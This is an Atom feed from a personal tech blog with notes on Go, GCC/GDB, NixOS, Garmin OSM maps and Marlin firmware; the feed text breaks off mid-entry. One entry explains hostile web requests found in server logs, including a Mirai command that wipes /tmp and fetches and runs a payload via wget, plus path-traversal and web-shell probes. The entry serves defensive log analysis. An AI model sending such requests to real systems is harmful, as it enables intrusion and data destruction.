<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <link href="https://purelysymbolic.fi/" />
  <link href="https://purelysymbolic.fi/atom.xml" rel="self" />
  <title>Purely Symbolic</title>
  <updated>2026-11-05T00:00:00Z</updated>
  <id>https://purelysymbolic.fi/</id>
  <entry>
		<id>https://purelysymbolic.fi/notes/some-go-stuff.html#2026-11-05T00:00:00Z</id>
		<updated>2026-11-05T00:00:00Z</updated>
		<title>Some Go related stuff</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="notes/some-go-stuff.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2026-11-05"></time>
<address>TheMaxus</address>
<h1 id="some-go-related-stuff">Some Go related stuff</h1>
<h3 id="update-all-the-dependencies">Update all the dependencies</h3>
<pre><code>go get -u</code></pre>
<h3 id="clean-up-go.mod-and-go.sum">Clean up go.mod and go.sum</h3>
<pre><code>go mod tidy</code></pre>
<h3 id="ignore-file-when-building">Ignore file when building</h3>
<p>Put this in the beginning of the source file:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb3-1"><a href="#cb3-1" tabindex="-1"></a><span class="co">//go:build ignore</span></span></code></pre></div>
<h3 id="custom-go-command-in-the-repo">Custom
<code>go &lt;command&gt;</code> in the repo</h3>
<p>Put this in the beginning of the source file:</p>
<pre><code>//go: &lt;command&gt; &lt;your go command here&gt;</code></pre>
<h3 id="go-get-from-private-git-repo">Go get from private git repo</h3>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" tabindex="-1"></a><span class="bu">export</span> <span class="va">GOPRIVATE</span><span class="op">=&lt;</span>package<span class="op">&gt;</span></span>
<span id="cb5-2"><a href="#cb5-2" tabindex="-1"></a><span class="fu">git</span> config <span class="pp">[--</span><span class="ss">global</span><span class="pp">]</span> url.<span class="st">&quot;ssh://git@&lt;git host&gt;&quot;</span>.insteadOf <span class="st">&quot;https://&lt;git host&gt;&quot;</span> </span>
<span id="cb5-3"><a href="#cb5-3" tabindex="-1"></a><span class="ex">go</span> get <span class="op">&lt;</span>package<span class="op">&gt;</span></span></code></pre></div>
<h2 id="handling-.env">Handling .env</h2>
<p>I have some dislike for kinds of packages like <code>godotenv</code>
because it’s an extra dependency the functionality of which is a lot
akin to <code>left-pad</code> and .env packages don’t have a defined
standard form, and often environment variables loaded by .env packages
are incompatible with loading them from shell. My solution is as simple
as it gets. Writing my .env file in a following form:</p>
<pre><code>export VAR_A=&#39;something&#39;
export VAR_B=123</code></pre>
<p>Then just sourcing it with <code>source .env</code> before opening
IDE.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/notes/gcc-gdb-notes.html#2026-11-05T00:00:00Z</id>
		<updated>2026-11-05T00:00:00Z</updated>
		<title>GCC and GDB flags and
Makefile</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="notes/gcc-gdb-notes.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2026-11-05"></time>
<address>TheMaxus</address>
<h1 id="gcc-and-gdb-flags-and-makefile">GCC and GDB flags and
Makefile</h1>
<p>Some GCC and GDB flags and commans I find myself reaching for often.
Manpages are often long and require seaching for a particular flag hence
I listed my most used stuff here to be at glance. Note that I use pretty
minimal setup using mainly Vim/Emacs and Makefiles.</p>
<h2 id="gcc">GCC</h2>
<h3 id="flags">Flags</h3>
<ul>
<li><code>-g</code> use debug symbols</li>
<li><code>-fsanitize=&lt;sanitizer&gt;</code> Sanitizers:
<ul>
<li><code>address</code></li>
<li><code>undefined</code></li>
</ul></li>
<li><code>-c</code> do not run linker</li>
<li><code>-o</code> output file</li>
<li><code>-I&lt;include dir&gt;</code> Search for includes in the
directory</li>
<li><code>-L&lt;linkdir&gt;</code> Same but for .a files for linker</li>
<li><code>-l&lt;libname&gt;</code> Link with
<code>lib&lt;libname&gt;.a</code></li>
<li><code>-s</code> strip symbols</li>
<li><code>-march=&lt;arch&gt;</code> Selects which instructions to use.
Arch can be <code>native</code> for the specific machine or something
like <code>x86-64-v3</code></li>
<li><code>-mtune=&lt;arch&gt;</code> Tunes compilation for a particular
cpu.</li>
<li><code>-ffast-math</code> enables some potentially unsafe math
optimizations which improve vectorization among other things. More on
optimizations <a href="https://kristerw.github.io/2021/10/19/fast-math/">here</a>.</li>
</ul>
<h3 id="creating-.a-library">Creating .a library</h3>
<pre><code>g++ -c -o &lt;objectfile&gt; &lt;sourcefiles&gt; [other flags]
ar crf lib&lt;libname&gt;.a &lt;objectfile&gt;</code></pre>
<p><code>ar</code> flags:</p>
<ul>
<li><code>c</code> create the archive</li>
<li><code>f</code> truncate names in archive</li>
<li><code>r</code> replace objects that already exist in archive</li>
<li><code>v</code> verbose</li>
</ul>
<h3 id="creating-compile_commands.json-for-clangd">Creating
<code>compile_commands.json</code> for clangd</h3>
<p>This is useful if you use Emacs with <code>lsp-mode</code>.</p>
<pre><code>bear -- make</code></pre>
<h2 id="gdb">GDB</h2>
<p>Run with args:</p>
<pre><code>gdb --args ./program arg1 arg2 arg3</code></pre>
<p>Show variables at breakpoint:</p>
<pre><code>show locals</code></pre>
<p>Show location in source:</p>
<pre><code>show location</code></pre>
<h2 id="makefile">Makefile</h2>
<h3 id="special-variables">Special variables</h3>
<p>Makefile has some useful special variables:</p>
<ul>
<li><code>$@</code> target</li>
<li><code>$&lt;</code> <strong>first</strong> dependency of target</li>
<li><code>$^</code> <strong>all dependencies</strong> of a target</li>
</ul>
<h3 id="pattern-rules">Pattern rules</h3>
<p>Pattern rules follow the pattern <code>%.o : %.c</code> Where
<code>%.o</code> matches every .o file.</p>
<h3 id="example">Example</h3>
<p>For following example</p>
<pre><code>foo: bar.o baz.o
    g++ -o $@ @^</code></pre>
<p>The variable exmand as follows:</p>
<ul>
<li><code>$@</code> : <code>foo</code></li>
<li><code>$&lt;</code> : <code>bar.o</code></li>
<li><code>$^</code> : <code>bar.o baz.o</code></li>
</ul>
<p>I may or may not add more stuff when I notice something I use
often.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/bookmarks.html#2024-11-29T00:00:00Z</id>
		<updated>2024-11-29T00:00:00Z</updated>
		<title>Bookmarks</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="bookmarks.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2024-11-29"></time>
<address>TheMaxus</address>
<h1 id="bookmarks">Bookmarks</h1>
<p>Random somewhat sorted bookmarks.</p>
<h2 id="blogs">Blogs</h2>
<ul>
<li><a href="https://dustri.org/b/archives.html">Artificial
truth</a></li>
<li><a href="https://learnbchs.org/">BCHS Stack</a></li>
<li><a href="https://www.da.vidbuchanan.co.uk/">David Buchanan aka
retr0id</a></li>
<li><a href="https://fasterthanli.me/">fasterthanlime</a></li>
<li><a href="https://hikari.noyu.me/blog/">Hikari No Yume</a></li>
<li><a href="https://iczelia.net/">Iczelia (formerly
Palaiologos)</a></li>
<li><a href="https://www.jwz.org/blog/">jwz</a></li>
<li><a href="https://kapouay.eu.org/">kapouay.eu.org</a></li>
<li><a href="https://molentum.me/">molentum</a></li>
<li><a href="https://www.more-magic.net/">more-magic.net</a></li>
<li><a href="https://nothings.org/">nothings.org</a></li>
<li><a href="https://romanzolotarev.com/">romanzolotarev.com (formerly
rgz.ee)</a></li>
<li><a href="https://scanlime.org/">scanlime</a></li>
<li><a href="https://www.xanthir.com/blog/">Tab Completion</a></li>
<li><a href="https://twey.io/">twey.io</a></li>
<li><a href="https://welltypedwit.ch/">welltypedwit.ch</a></li>
<li><a href="https://notthebe.ee/">Wolfgang’s Blog</a></li>
<li><a href="https://xeiaso.net/">Xe Iaso</a></li>
</ul>
<h2 id="articles-and-papers">Articles and papers</h2>
<ul>
<li><a href="https://dl.acm.org/doi/pdf/10.1145/357162.357169">An
Efficient Unification Algorithm</a></li>
<li><a href="https://dl.acm.org/doi/pdf/10.1145/214448.214454">CONS
Should not CONS its Arguments, Part II: Cheney on the M.T.A.</a></li>
<li><a href="https://dl.acm.org/doi/pdf/10.1145/130854.130858">CONS
Should not CONS its Arguments, or, a Lazy Alloc is a Smart
Alloc</a></li>
<li><a href="https://legacy.cs.indiana.edu/ftp/techreports/TR44.pdf">Cons
Should not Evaluate its Arguments</a></li>
<li><a href="https://inria.hal.science/hal-03372247">Efficient
Extensional Binary Tries</a></li>
<li><a href="https://www.xanthir.com/b54c0">Handling Time In Base
6</a></li>
<li><a href="https://dustri.org/b/horrible-edge-cases-to-consider-when-dealing-with-music.html">Horrible
edge cases to consider when dealing with music</a></li>
<li><a href="https://arxiv.org/abs/2409.15693">Synthetic Homotopy
Theory</a></li>
<li><a href="https://codewords.recurse.com/issues/three/algebra-and-calculus-of-algebraic-data-types">The
algebra (and calculus!) of algebraic data types</a></li>
<li><a href="https://www.av8n.com/physics/uncertainty.htm">Uncertainty
as Applied to Measurements and Calculations</a></li>
<li><a href="https://arxiv.org/abs/1402.6645">Unified Approach to Real
Numbers in Various Mathematical Settings</a></li>
<li><a href="https://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html">What
Every Computer Scientist Should Know About Floating-Point
Arithmetic</a></li>
</ul>
<h3 id="rng">RNG</h3>
<ul>
<li><a href="http://www.ciphersbyritter.com/NEWS4/RANDC.HTM#369B5E30.65A55FD1@stat.fsu.edu">Marsaglia
efficient random number generators in C</a></li>
<li><a href="https://www.pcg-random.org/pdf/hmc-cs-2014-0905.pdf">PCG</a></li>
<li><a href="https://gee.cs.oswego.edu/dl/papers/oopsla14.pdf">SplitMix</a></li>
<li><a href="https://vigna.di.unimi.it/ftp/papers/LXM.pdf">LXM</a></li>
</ul>
<h2 id="books">Books</h2>
<h3 id="type-theory-and-functional-progamming">Type theory and
functional progamming</h3>
<ul>
<li><a href="https://1lab.dev">1lab</a></li>
<li><a href="http://adam.chlipala.net/cpdt/">Certified Programming with
Dependent Types</a></li>
<li><a href="https://www.cs.cmu.edu/~dst/LispBook/book.pdf">COMMON LISP:
A Gentle Introduction to Symbolic Computation</a></li>
<li><a href="http://www.concrete-semantics.org/">Concrete
Semantics</a></li>
<li><a href="https://counterexamples.org/">Counterexamples in Type
Systems</a></li>
<li><a href="http://adam.chlipala.net/frap/">Formal Reasoning About
Programs</a></li>
<li><a href="https://functional-algorithms-verified.org/">Functional
Data Structures And Algorithms</a></li>
<li><a href="https://homotopytypetheory.org/book/">Homotopy Type
Theory</a></li>
<li><a href="https://www.cs.cmu.edu/~rwh/students/okasaki.pdf">Purely
Functional Data Structures</a></li>
<li><a href="https://softwarefoundations.cis.upenn.edu/">Software
Foundations</a></li>
<li><a href="https://sarabander.github.io/sicp/html/">Structure and
Interpretation of Computer Programs</a></li>
</ul>
<h3 id="specs">Specs</h3>
<ul>
<li><a href="https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf">System V
Application Binary Interface AMD64 Architecture Processor
Supplement</a></li>
<li><a href="https://www.sco.com/developers/devspecs/abi386-4.pdf">SYSTEM V
APPLICATION BINARY INTERFACE Intel386 Architecture Processor
Supplement</a></li>
<li><a href="https://www.sco.com/developers/devspecs/gabi41.pdf">SYSTEM
V APPLICATION BINARY INTERFACE</a></li>
<li><a href="https://pubs.opengroup.org/onlinepubs/9799919799/">The Open
Group Base Specifications Issue 8</a></li>
</ul>
<h3 id="graphics">Graphics</h3>
<ul>
<li><a href="https://learnopengl.com/">Learn OpenGL</a></li>
<li><a href="https://www.sciencedirect.com/book/monograph/9780123694713/game-physics-engine-development">Game
Physics Engine Development</a></li>
<li><a href="https://www.pbr-book.org/">Physically Based
Rendering</a></li>
</ul>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/notes/common-log-avtivity.html#2023-05-15T00:00:00Z</id>
		<updated>2023-05-15T00:00:00Z</updated>
		<title>Common threat actor
activity in logs</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="notes/common-log-avtivity.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2023-05-15"></time>
<address>TheMaxus</address>
<h1 id="common-threat-actor-activity-in-logs">Common threat actor
activity in logs</h1>
<p>While looking at my web server logs I found some interesting requests
and decided to look into them. Below are the request examples and short
explainations for them.</p>
<pre><code>/actuator/gateway/routes</code></pre>
<p>spring.io Actuator endpoint scanning</p>
<pre><code>/remote/fgt\_lang?lang=/../../../..//////////dev/cmdb/sslvpn\_websession</code></pre>
<p>Fortigate vulnerability (CVE-2022-42475)</p>
<pre><code>/shell?cd+/tmp;rm+-rf+*;wget+x.x.x.x/jaws;sh+/tmp/jaws</code></pre>
<p>Mirai botnet scanning</p>
<pre><code>/?XDEBUG_SESSION_START=phpstorm</code></pre>
<p>PhpStorm debugging session scanning</p>
<pre><code>/ALFA_DATA/alfacgiapi/perl.alfa</code></pre>
<p>Alfa Shell PHP backdoor scanning</p>
<pre><code>/dnscfg.cgi?dnsPrimary=x.x.x.x&amp;dnsSecondary=x.x.x.x&amp;dnsDynamic=0&amp;dnsRefresh=1</code></pre>
<p>D-Link router DNS-hijacking vulnerability</p>
<pre><code>x.x.x.x:4444</code></pre>
<p>4444 is the default Metaspoit framework shell port</p>
<pre><code>/boaform/admin/formLogin?username=admin&amp;psd=admin</code></pre>
<p>Bots scanning for Guangzhou 1GE ONU V2801RW router RCE
vulnerability</p>
<pre><code>/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
/owa/auth/logon.aspx</code></pre>
<p>Microsoft Exchange server endpoint scanning</p>
<pre><code>POST /HNAP1/</code></pre>
<p>Another D-Link vuln (CVE-2022-44808)</p>
<pre><code>POST /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php or similar requests</code></pre>
<p>PHPUnit vulnerability (CVE-2017-9841)</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/notes/system-info.html#2023-04-06T00:00:00Z</id>
		<updated>2023-04-06T00:00:00Z</updated>
		<title>System information</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="notes/system-info.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2023-04-06"></time>
<address>TheMaxus</address>
<h1 id="system-information">System information</h1>
<h2 id="os-info">OS info</h2>
<p>Kernel and system info</p>
<pre><code>uname -a</code></pre>
<p>OS version</p>
<pre><code>cat /etc/lsb-release</code></pre>
<h2 id="video-hardware-decoding">Video hardware decoding</h2>
<p>VA-API info</p>
<pre><code>vainfo</code></pre>
<p>VDPAU info</p>
<pre><code>vdpauinfo</code></pre>
<p>Video driver info</p>
<pre><code>glxinfo</code></pre>
<h2 id="hardware-information">Hardware information</h2>
<p>General hardware information</p>
<pre><code>hwinfo</code></pre>
<p>CPU info</p>
<pre><code>cat /proc/cpuinfo
lscpu</code></pre>
<p>List PCI-devices</p>
<pre><code>lspci</code></pre>
<p>List USB-devices</p>
<pre><code>lsusb</code></pre>
<p>Read DMI-table (various system info)</p>
<pre><code>sudo dmidecode</code></pre>
<p>Read EDID (screen info)</p>
<pre><code>sudo get-edid</code></pre>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/notes/nixos.html#2023-04-06T00:00:00Z</id>
		<updated>2023-04-06T00:00:00Z</updated>
		<title>NixOS commands</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="notes/nixos.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2023-04-06"></time>
<address>TheMaxus</address>
<h1 id="nixos-commands">NixOS commands</h1>
<h2 id="package-management">Package management</h2>
<h3 id="rebuild-nixos-from-etcnixosconfigure.nix">Rebuild nixos from
<code>/etc/nixos/configure.nix</code></h3>
<p><strong>Note that running this under normal user and sudo affect
system differently</strong> (I definitely did not spend an hour
wondering why nixos-rebuild boot doesn’t do what I expect it to do)</p>
<ul>
<li><code>--upgrade</code> flag to update channels<br/>
</li>
<li><code>switch</code> to switch to new configuration and make it
default boot configuration<br/>
</li>
<li><code>test</code> to switch but not make it default boot
configuration</li>
<li><code>boot</code> use the built configuration on next boot</li>
</ul>
<pre><code>nixos-rebuild &lt;--update&gt; &lt;test|switch|boot&gt;</code></pre>
<h3 id="start-ephemeral-shell-with-package-installed">Start ephemeral
shell with package installed</h3>
<p><code>-I nixpkgs=nixpkgs-repo</code> use external nixpkgs repo (in
case you packaged something yourself)</p>
<pre><code>nix-shell &lt;-I nixpkgs=nixpkgs-repo&gt; -p pkgname</code></pre>
<h3 id="package-search">Package search</h3>
<p>Use tab-completion in nix repl</p>
<p><strong><em>note: &lt;&gt;-characters are part of the
command</em></strong></p>
<pre><code>nix repl
nix-repl&gt; :l &lt;nixpkgs&gt;
nix-repl&gt; pkgs.</code></pre>
<h3 id="building-package-from-local-repo">Building package from local
repo</h3>
<p>Run from the root of nixpkgs</p>
<pre><code>nix-build -A</code></pre>
<h2 id="storage-optimization">Storage optimization</h2>
<p>Delete older generations and unused derivations.</p>
<pre><code>nix-collect-garbage -d</code></pre>
<p><strong>Note: this will not delete derivations if any
<code>result</code> symlinks point to them, so delete any unused
<code>results</code> symilnks before running</strong></p>
<p>Optimize storage <strong>(Potentially legnthy operation)</strong></p>
<pre><code>nix-store --optimise</code></pre>
<h2 id="running-nixos-on-raspberrypi">Running NixOS on RaspberryPI</h2>
<p>(State at September 2026)</p>
<p>If you don’t need hardware video acceleration, you’ll be fine with
mainline kernel. If you do need it you’ll either have to compile the
kernel yourself on RaspberryPI or under <code>qemu-binfmt</code>. To
speedup compilation you can use cross-compilation toolchain, but then
you’ll have to compile every package yourself. All of the aforementioned
options take ages and I gave up on it. You’ll probably have better
mileage using <a href="https://github.com/nvmd/nixos-raspberrypi">this
repo</a>.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/socials.html#2023-02-01T00:00:00Z</id>
		<updated>2023-02-01T00:00:00Z</updated>
		<title>Socials</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="socials.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2023-02-01"></time>
<address>TheMaxus</address>
<h1 id="socials">Socials</h1>
<ul>
<li><a href="https://gitlab.com/TheMaxus">GitLab</a></li>
<li><a href="https://github.com/TheMaxus">GitHub</a></li>
<li><a href="https://chaos.social/@themaxus">Fedi/Mastodon</a></li>
<li><a href="https://bsky.app/profile/themaxus.dev">Bluesky</a></li>
<li><a href="https://www.thingiverse.com/themaxus/designs">Thingiverse</a></li>
<li><a href="https://app.hackthebox.com/profile/350857">Hack The
Box</a></li>
<li><strong>TheMaxus</strong> on libera.chat</li>
</ul>
<p><a href="/downloads/urls.txt">Here’s a list of RSS feeds that I
follow.</a></p>
<script src="https://tryhackme.com/badge/188231"></script>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/installing-osm-maps-on-garmin.html#2022-08-08T00:00:00Z</id>
		<updated>2022-08-08T00:00:00Z</updated>
		<title>Installing
OpenStreetMap maps on Garmin satnav devices</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/installing-osm-maps-on-garmin.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2022-08-08"></time>
<address>TheMaxus</address>
<h1 id="installing-openstreetmap-maps-on-garmin-satnav-devices">Installing
OpenStreetMap maps on Garmin satnav devices</h1>
<p>Maps on my satnav (Garmin nüvi 40) were really ancient (close to 10
years old) and of course Garmin charges quite a lot of money for newer
maps and I didn’t really want to pay, so my only option was using OSM
maps. There’s nothing wrong about OSM and I actually really like using
the service, because it often actually has better map data than Google
Maps, but every time I’ve tried using pre-built OSM maps in Garmin
specific format (gmapsupp.img), for some reason they didn’t seem to work
quite well as there always were some problems or quirks. (Building maps
that work on all models is actually pretty difficult so don’t blame
pre-built map providers for this.) This time I was determined to get
them working.</p>
<h2 id="first-attempt-pre-built-maps-once-again">First attempt
(Pre-built maps once again)</h2>
<p>I’ve opened up <a href="https://wiki.openstreetmap.org/wiki/OSM_Map_On_Garmin/Download">OSM
Wiki</a> and looked for places where I could get pre-built maps. <a href="https://www.userbeam.de/">Userbeam.de</a> seemed like a good
place, so I downloaded the map for my region, renamed it to
<code>gmapsupp.img</code>, put it into the <code>Garmin</code> folder on
the microSD card, inserted the SD card into the slot on my satnav and…
just as always the navigation was a bit wonky and search didn’t work
properly. The only way I could search for something was if I typed one
letter of the city and pressed done, then it would display a long list
of cities the names of which started with this letter. (The wonky
navigation part I will discuss later in the blog.) Because pre-built
maps weren’t working for my particular satnav I’ve decided to build the
maps myself from the OSM data.</p>
<h2 id="second-attempt-mkgmap-to-rescue">Second attempt (mkgmap to
rescue)</h2>
<p>Things we need:</p>
<ul>
<li><a href="https://www.mkgmap.org.uk/download/mkgmap.html">mkgmap</a></li>
<li><a href="https://www.mkgmap.org.uk/download/splitter.html">splitter</a></li>
<li><a href="https://download.geofabrik.de/">OSM data</a>
<ul>
<li>Download in .osm.pbf format</li>
<li>The file may take up to a few gigabytes in size</li>
</ul></li>
<li><a href="http://osm.thkukuk.de/data/bounds-latest.zip">bounds
data</a>
<ul>
<li>Link taken from <a href="https://www.mkgmap.org.uk/download/mkgmap.html">mkgmap
website</a></li>
<li>Address data for search</li>
<li>At the time of writing the file is about 1.5 GB in size</li>
</ul></li>
</ul>
<p><em>To run mkgmap and splitter you’re also going to need Java
RE</em></p>
<p>The OSM wiki actually has a really decent <a href="https://wiki.openstreetmap.org/wiki/Mkgmap/help/How_to_create_a_map">guide</a>
on how to build the maps yourself, but in my case it was missing a few
things and that’s why I’ve decided to make this guide/blog post. (I may
look into adding this information to the wiki at some point.)</p>
<h3 id="step-1-splitting-the-map">Step 1: Splitting the map</h3>
<p>This is the easiest step, unzip the splitter archive, open up the
folder with splitter.jar file and run:</p>
<pre><code>java -jar splitter.jar &lt;your_map&gt;.osm.pbf</code></pre>
<p>Now we have lots files with names <code>6324*.osm.pbf</code>.</p>
<h3 id="step-2-actually-compiling-the-maps.">Step 2: Actually compiling
the maps.</h3>
<p>After splitting the map we need to move the files to the mkgmap
folder. We can do this with a single command:</p>
<pre><code>mv 6324*.osm.pbf &lt;mkgmap folder&gt;</code></pre>
<p>Next we need to move the bounds archive to the mkgmap folder, to make
out lives a bit easier.</p>
<p>Now to the actual mkgmap part. Mkgmap has lots of different switches
and you can find the whole listing from the <a href="https://www.mkgmap.org.uk/doc/options">documentation</a>.</p>
<p>We can already get a mostly working map using the command form the
OSM Wiki guide:</p>
<pre><code>java -jar mkgmap.jar \
    --route \
    --add-pois-to-areas \
    --bounds=bounds-latest.zip \
    --index \
    --gmapsupp \
    6324*.osm.pbf</code></pre>
<p>But at least on my satnav when using those command options search
functionality doesn’t work. After a bit of research it seems like the
text encoding is the problem.</p>
<p>Mkgmap has two flags for encodings <code>--latin1</code>and
<code>--unicode</code> and which one to use depends on your device. Mine
can easily display letters like ü, ö and ä, so I’m fairly confident it
supports Unicode.</p>
<p>Also I’ve found a few other switches that make your life a bit
easier: <code>--improve-overview</code> which seems to optimize map
rendering a bit and <code>--max-jobs=&lt;nuber of jobs&gt;</code> which
enables multi-core processing, if no value is specified it uses all
available CPU cores.</p>
<p>So here’s our final command:</p>
<pre><code>java -jar mkgmap.jar \
    --route \
    --add-pois-to-areas \
    --bounds=bounds-latest.zip \
    --index \
    --improve-overview \
    --unicode \
    --max-jobs \
    --gmapsupp \
    6324*.osm.pbf</code></pre>
<p>The program can take quite a bit of time to finish, but in the end
(along with lots of other .img files) we should have
<code>gmapsupp.img</code> in the folder with the program. Now we need to
move it into the Garmin folder on the microSD card, go to Map settings
on the device, press Info, disable the OEM maps and enable OSM maps.</p>
<h3 id="step-3-profit">Step 3: Profit?</h3>
<p>So after lots of trial and error with mkgmap I’ve got the search to
work properly and now maps should work flawlessly. Right? Right? So
after a bit of testing the navigation was still acting weirdly. To some
nearby cities it gave me a path 2x longer than it should have and to
some far away cities it couldn’t calculate a path at all. At this point
I started wondering if OSM data had some errors in it or my satnav just
wasn’t 100% compatible with maps produced by mkgmap.</p>
<p>As I was trying to figure out the source of the problem, I opened the
navigation settings on my device and here was the source of all of my
problems. In the navigation settings there is a menu, where you can tell
the satnav to avoid some things like U-turns, customs, commuter lanes
and among all things highways. And of course avoiding highways was
enabled <em>facepalm</em> (Most likely by me at some point when I was
playing around with settings). Finally after disabling this setting I
had perfectly working OSM maps on my satnav.</p>
</article></div>
		</content>
	</entry>
	<entry>
		<id>https://purelysymbolic.fi/articles/installing-marlin-on-ender3v2.html#2022-06-14T00:00:00Z</id>
		<updated>2022-06-14T00:00:00Z</updated>
		<title>Installing Marlin on Ender 3
V2</title>
		<author><name>TheMaxus</name></author>
		<link rel="alternate" type="text/html" href="articles/installing-marlin-on-ender3v2.html" />
		<content type="xhtml">
			<div xmlns="http://www.w3.org/1999/xhtml">
<article>
<time datetime="2022-06-14"></time>
<address>TheMaxus</address>
<h1 id="installing-marlin-on-ender-3-v2">Installing Marlin on Ender 3
V2</h1>
<p>Ender 3 V2 comes with Creality’s own version of Marlin, but usually
it’s pretty outdated, so by installing the newest version of Marlin
you’re going to get more flexible firmware and more features and bug
fixes.</p>
<p>Marlin doesn’t provide pre-built binaries, because it’s would be a
nightmare to compile it for every printer that Marlin supports, so we
have to build it ourselves.</p>
<p>While this guide focuses specifically on Ender 3 V2, the process is
roughly the same for most other 32-bit printers so you can use this
guide for other 3d-printers.</p>
<h2 id="tools-required">Tools required</h2>
<ul>
<li>VS Code or Codium
<ul>
<li><a href="https://platformio.org/">PlatformIO plugin</a></li>
<li><a href="https://marketplace.visualstudio.com/items?itemName=MarlinFirmware.auto-build">Auto
Build Marlin plugin</a></li>
</ul></li>
</ul>
<h2 id="getting-the-source-code">Getting the source code</h2>
<p>We’re going to need two different repos, code repo and the
configuration repo.</p>
<p>You can download them using git:</p>
<pre><code>git clone https://github.com/MarlinFirmware/Marlin.git
git clone https://github.com/MarlinFirmware/Configurations.git</code></pre>
<p>Then we need to select the correct version in both repos:</p>
<pre><code>git checkout &lt;version number&gt;</code></pre>
<p>Using this method we can easily download newer versions in the future
using:</p>
<pre><code>git fetch
git checkout &lt;new version&gt;</code></pre>
<p>Alternatively you can download the specific version from Releases on
GitHub (<a href="https://github.com/MarlinFirmware/Marlin/releases">Firmware</a>,
<a href="https://github.com/MarlinFirmware/Configurations/releases">Configs</a>).</p>
<p>Now we need to copy Ender 3 V2 default configuration files from the
Configurations repo. <strong>Remember to do this every time you download
a new version!</strong></p>
<p>Go to the Configurations repo and go to
<code>config/examples/Creality/Ender-3 V2/CrealityV422</code></p>
<p>Here we have a choice between the CrealityUI and MarlinUI, CrealityUI
is the UI printer comes with, and MarlinUI is more minimalistic text
based UI, those can be changed later in configuration file so it
shouldn’t matter that much which one we choose.</p>
<p>Copy <strong>Configuration.h</strong> and
<strong>Configuration_adv.h</strong> files and put them into
<strong>Marlin</strong> directory in the Marlin repo.</p>
<p>At this point you can just press <strong>Build</strong> in Marlin
Autobuild panel and flash the firmware with the default settings.</p>
<p>If you want to customize your firmware, edit the
<strong>Configuration.h</strong> file. I like to enable S-Curve
Acceleration to reduce ringing artifacts and enable manual mesh bed
leveling.</p>
<h2 id="pid-calibration">PID Calibration</h2>
<p>You most likely are going to need to calibrate hotend and heated bed
PID after flashing the firmware. This is best done before flashing the
firmware but can also be done after.</p>
<p>There are multiple ways of initiating PID calibration:</p>
<h3 id="pronterface">Pronterface</h3>
<p><a href="https://www.pronterface.com/">Pronterface</a> has a really
handy g-code console. Connect your printer by USB to the computer. In
the console enter <code>M303 E0 S200 C8 U1</code> after which
<code>M303 E-1 S90 C8 U1</code>, then if you want to save the settings
to EEPROM type <code>M503</code></p>
<p><code>M303</code> outputs PID values to the console so you can put
those values in the configuration file to make those values
permanent.</p>
<h3 id="g-code-file">G-Code file</h3>
<p>You can write the commands to .gcode file, upload the file to an SD
card and run it.</p>
<p>Here’s an example:<br/>
<em>NOTE: I have not tested the following code, use at your own
risk!</em></p>
<pre><code>M928 pidlog.txt     ; Start writing log to SD card
G28                 ; Home
G0 Z40              ; Move hotend 40mm up
M303 E0 S200 C8 U1  ; Calibrate hotend PID for 200C temperature in 8 cycles and use those settings
M303 E-1 S90 C8 U1  ; Calibrate heated bed PID for 90C temperature in 8 cycles and use those settings
M503                ; Output settings to log/serial
M500                ; Save settings to EEPROM
M29                 ; Stop logging</code></pre>
<h3 id="using-stty">Using stty</h3>
<p>You can also use Unix tty to control your printer when you connect to
your printer via USB.<br/>
First we’re going to setup the tty using:</p>
<pre><code>sudo stty -F /dev/ttyUSB0 115200 -echo -onlcr</code></pre>
<p>Then you can either use pipes to read and write to printer</p>
<pre><code>echo &quot;M503&quot; &gt;&gt; /dev/ttyUSB0
cat /dev/ttyUSB0</code></pre>
<p>or you can use screen or minicom</p>
<pre><code>screen /dev/ttyUSB0 115200
# For minicom ideally you need to set it up first
minicom -s</code></pre>
<p>although at least for me screen and minicom output comes weirdly
formatted.</p>
<p>This way we can send the calibration commands without using
Pronterface.</p>
<h2 id="flashing-the-firmware">Flashing the firmware</h2>
<p>On the most printers you only have to update the printer itself, but
Ender 3 V2 uses a display with it’s own controller, so we need to flash
the LCD as well.</p>
<h3 id="lcd">LCD</h3>
<p>First we need to update the LCD firmware. In the Configurations repo
